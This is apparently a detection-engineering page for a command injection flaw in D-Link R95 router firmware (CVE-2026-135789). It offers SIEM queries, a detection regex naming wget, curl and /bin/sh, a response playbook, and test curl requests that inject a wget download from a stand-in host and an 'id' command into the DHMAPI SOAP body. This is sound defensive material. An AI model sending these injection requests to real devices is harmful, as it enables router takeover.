D-Link R95 Bluetooth Handler Command Injection (CVE-2026-135789)
Detects exploitation attempts against a command injection vulnerability in D-Link R95 (BE9500) firmware 101B06. The /bin/ssi DHMAPI SOAP handler passes the raw inner XML of Bluetooth-family actions (GetBluetoothAdapterSettings, GetBluetoothBloodPressure, GetBluetoothDeviceList, GetBluetoothScanDeviceList, SetBluetoothAdapterSettings, SetBluetoothUnpairDevice, SetTriggerBluetoothScan, SetBluetoothPairDevice) into a shell command without sanitization (CWE-77/CWE-78). Exploitation requires an authenticated session; the factory default Admin account has an empty password, so this is a low-effort precondition rather than a bypass. CVSS base score is 8.5. The exploit has been publicly disclosed. Detection focuses on HTTP requests to the DHMAPI endpoint carrying shell metacharacters in the request body, and on anomalous child-process spawning by the embedded web server (lighttpd) indicating post-exploitation command execution on the device.
Based on nenghun/IoT D-Link R95 RCE write-up
Vulnerability Intelligence
TheoreticalTimeline
- Disclosed
- November 24, 2026
CVSS
What is CVE-2026-135789 D-Link R95 Bluetooth Handler Command Injection (CVE-2026-135789)?
D-Link R95 Bluetooth Handler Command Injection (CVE-2026-135789) (CVE-2026-135789) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for D-Link R95 Bluetooth Handler Command Injection (CVE-2026-135789), covering the data sources and telemetry it touches: Network Proxy/WAF logs, Firewall HTTP inspection, Web server access logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-4fdd26d79c · https://df00tech.com/detections/CVE-2026-135789 · licence: https://df00tech.com/detections/licence
let affectedHandlers = dynamic(["GetBluetoothAdapterSettings","GetBluetoothBloodPressure","GetBluetoothDeviceList","GetBluetoothScanDeviceList","SetBluetoothAdapterSettings","SetBluetoothUnpairDevice","SetTriggerBluetoothScan","SetBluetoothPairDevice"]);
let cmdMeta = @"[;&|`$]|\$\(|%3B|%26|%7C|%60|\bwget\b|\bcurl\b|/bin/sh|busybox";
CommonSecurityLog
| where RequestURL has "/DHMAPI/" or DeviceCustomString1 in (affectedHandlers)
| where RequestURL matches regex cmdMeta or AdditionalExtensions matches regex cmdMeta or Activity matches regex cmdMeta
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod, DeviceProduct, AdditionalExtensions
| order by TimeGenerated desc Flags HTTP requests to the D-Link R95 DHMAPI endpoint carrying shell metacharacters or command keywords in the Bluetooth action body, indicating command injection attempts.
Data Sources
Required Tables
False Positives
- Vulnerability scanners (Nessus, Qualys, Nuclei) probing the DHMAPI endpoint during authorized assessments
- Legitimate device management traffic that URL-encodes ampersands in multi-parameter bodies
- Security research or red-team exercises replaying PoC requests against lab devices
Query fingerprint DF00-4fdd26d79c · licence
Sigma logsource & community rules
The detection logic for D-Link R95 Bluetooth Handler Command Injection (CVE-2026-135789) (CVE-2026-135789) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-135789
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated command injection in DHMAPI SetTriggerBluetoothScan body
Expected signal: Proxy/WAF/firewall HTTP log entry with uri_path containing /DHMAPI/ and a body containing ';wget' and an encoded space.
- Test 2 Shell metacharacter in DHMAPI SetBluetoothAdapterSettings body
Expected signal: HTTP request log showing /DHMAPI/ with API-ACTION SetBluetoothAdapterSettings and a quote-close/semicolon sequence in the body.
- Test 3 Device-side child process spawn from web server (lab)
Expected signal: Device syslog/EDR process event showing ssi (or lighttpd) spawning /bin/sh.
Response Playbook
Triage
- Confirm the destination host is a D-Link R95 (BE9500) running firmware 101B06; check the admin UI banner or device fingerprint.
- Decode the DHMAPI request body and isolate the injected shell metacharacters or command keywords (wget, curl, busybox, /bin/sh) to determine whether the attempt was a probe or a working command chain.
- Check authentication context: this vulnerability requires a valid session. Verify whether the source used the factory default Admin account with an empty password, or a compromised/weak credential, before scoring it as an easy compromise.
- Check whether the source IP has touched other DHMAPI handlers or scanned multiple devices, which distinguishes targeted exploitation from opportunistic scanning.
Containment
- Block the source IP at the perimeter firewall and restrict management/web access to the R95 to trusted administrative subnets only.
- Change the default Admin password immediately if it is still blank, and isolate the affected R95 device from the LAN/WAN until firmware is patched.
- If command execution is confirmed, power-cycle and factory-reset the device after capturing evidence, since persistent changes may not survive a reset.
Evidence Collection
- Capture full proxy/WAF/firewall HTTP logs for the source IP including complete request bodies for the matched DHMAPI calls.
- Export the device's syslog and any CGI/web-server access logs, and if possible acquire a firmware/flash image for forensic review of injected files under /www or startup entries.
Escalation Criteria
- ! Escalate to incident response if the injected payload includes a download-and-execute chain (wget/curl followed by chmod/execution) indicating successful compromise.
- ! Escalate if the same source demonstrates lateral movement, additional device compromise, or outbound C2 connections originating from the device.
Investigation Guide
Forensic Artifacts
- >
Web/CGI server access logs on the device showing DHMAPI requests with shell metacharacters in the Bluetooth action body - >
Newly created files or modified entries in the device flash/overlay filesystem, including the web root (/www) - >
Outbound connections from the device to attacker download or C2 infrastructure
Tuning Guidance
Baseline legitimate management sources and the IPs of authorized vulnerability scanners, then exclude them from alerting. If the environment has no D-Link R95 devices, scope the rule by destination IP ranges where IoT/router management lives to cut noise. Tighten the metacharacter regex to require a command keyword (wget|curl|busybox) adjacent to a shell separator if probe-only scanning generates excessive volume.
Hunting Queries
Surfaces sources making repeated requests to the R95 DHMAPI endpoint, highlighting brute/scan-style exploitation attempts even without an obvious metacharacter match.
// df00tech DF00-4fdd26d79c · https://df00tech.com/detections/CVE-2026-135789 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/DHMAPI/" | summarize Requests=count(), Payloads=make_set(AdditionalExtensions, 20) by SourceIP, DestinationIP | where Requests > 5 ``` df00tech DF00-4fdd26d79c · https://df00tech.com/detections/CVE-2026-135789 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="*/DHMAPI/*" | stats count values(uri_query) as payloads by src_ip dest_ip | where count > 5 Atomic Red Team Tests
Sends an HTTP request emulating a command-injection attempt against the DHMAPI endpoint to validate proxy/WAF detection coverage. Lab use only against an authorized test target with a valid session cookie.
Command
curl -s -o /dev/null -k -H 'API-ACTION: SetTriggerBluetoothScan' -H 'Cookie: uid=TESTCOOKIE' -H 'Content-Type: text/xml' -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTriggerBluetoothScan><A>x'\'';wget%20http://198.51.100.5/x%20-O%20/tmp/x;#</A></SetTriggerBluetoothScan></soap:Body></soap:Envelope>' 'https://192.0.2.10/DHMAPI/' Cleanup
rm -f /tmp/x 2>/dev/null; echo 'no persistent state created on tester' Expected Telemetry
Proxy/WAF/firewall HTTP log entry with uri_path containing /DHMAPI/ and a body containing ';wget' and an encoded space.
Expected Detection
KQL/SPL rules match on the DHMAPI endpoint plus the shell metacharacter and wget keyword.
Emulates OS command injection using a quote-close construct against the Bluetooth adapter-settings handler.
Command
curl -s -o /dev/null -k -H 'API-ACTION: SetBluetoothAdapterSettings' -H 'Cookie: uid=TESTCOOKIE' -H 'Content-Type: text/xml' -d "<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'><soap:Body><SetBluetoothAdapterSettings><A>x';id;#</A></SetBluetoothAdapterSettings></soap:Body></soap:Envelope>" 'https://192.0.2.10/DHMAPI/' Cleanup
echo 'no cleanup required — request-only test' Expected Telemetry
HTTP request log showing /DHMAPI/ with API-ACTION SetBluetoothAdapterSettings and a quote-close/semicolon sequence in the body.
Expected Detection
Detection matches the shell metacharacter pattern on the DHMAPI endpoint.
On a lab device or emulated firmware, confirms that a command-injection string causes the embedded web server to spawn a shell child process generating detectable telemetry.
Command
sh -c 'logger -t ssi "DHMAPI SetTriggerBluetoothScan injected; /bin/sh -c id"; /bin/sh -c id' Cleanup
echo 'ephemeral process only; no files written' Expected Telemetry
Device syslog/EDR process event showing ssi (or lighttpd) spawning /bin/sh.
Expected Detection
Hunting query and process-based telemetry correlate web-server-parented shell execution to the injection attempt.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040